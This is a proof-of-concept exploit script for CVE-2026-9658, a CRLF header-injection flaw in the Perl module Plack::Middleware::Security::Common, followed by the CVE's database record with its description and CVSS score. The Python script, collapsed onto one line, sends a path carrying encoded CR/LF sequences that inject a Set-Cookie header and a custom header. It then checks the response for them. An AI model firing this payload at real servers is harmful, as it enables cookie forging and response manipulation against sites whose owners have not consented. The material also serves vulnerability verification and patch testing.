CVE-2026-9658

# CVE-2026-9658 PoC - HTTP Header Injection in Plack::Middleware::Security::Common # Affected: Plack::Middleware::Security::Common < 0.13.1 import requests import urllib.parse target_url = "http://target-server.com" # Malicious request path with CRLF injection to add extra headers # The backslash-r and backslash-n represent CR and LF characters malicious_path = "/path%0d%0aSet-Cookie:%20evil=value%0d%0aX-Injected-Header:%20test" # Alternative: Direct CRLF characters (may need URL encoding) # malicious_path = "/path\r\nSet-Cookie: evil=value\r\nX-Injected-Header: test" full_url = f"{target_url}{malicious_path}" print(f"[*] Sending malicious request to: {full_url}") print(f"[*] Target: {target_url}") print(f"[*] Malicious path: {malicious_path}") try: # Send the malicious request response = requests.get(full_url, timeout=10) print(f"\n[+] Response Status: {response.status_code}") print(f"[+] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") # Check if injected headers were processed if 'X-Injected-Header' in response.headers or 'Set-Cookie' in response.headers: print("\n[!] VULNERABLE: Header injection successful!") else: print("\n[*] No obvious header injection detected (may require further analysis)") except requests.exceptions.RequestException as e: print(f"\n[-] Request failed: {e}")

{"cve": {"id": "CVE-2026-9658", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-28T13:16:25.067", "lastModified": "2026-06-01T19:16:56.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plack::Middleware::Security::Common versions before 0.13.1 for Perl did not block header injections in request paths.\n\nThe header injection rule was ineffective at blocking header injections in the request paths unless they were double-encoded, for example,\n\n GET /path\\r\\nHTTP/1.1\\r\\nHost: secret.example.com\n\nNote that it is unclear whether request paths with CRLF followed by additional headers would be blocked by reverse proxies, or how they would be processed by Plack-based servers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-790"}]}], "references": [{"url": "https://metacpan.org/release/RRWO/Plack-Middleware-Security-Simple-v0.13.1/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/28/9", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}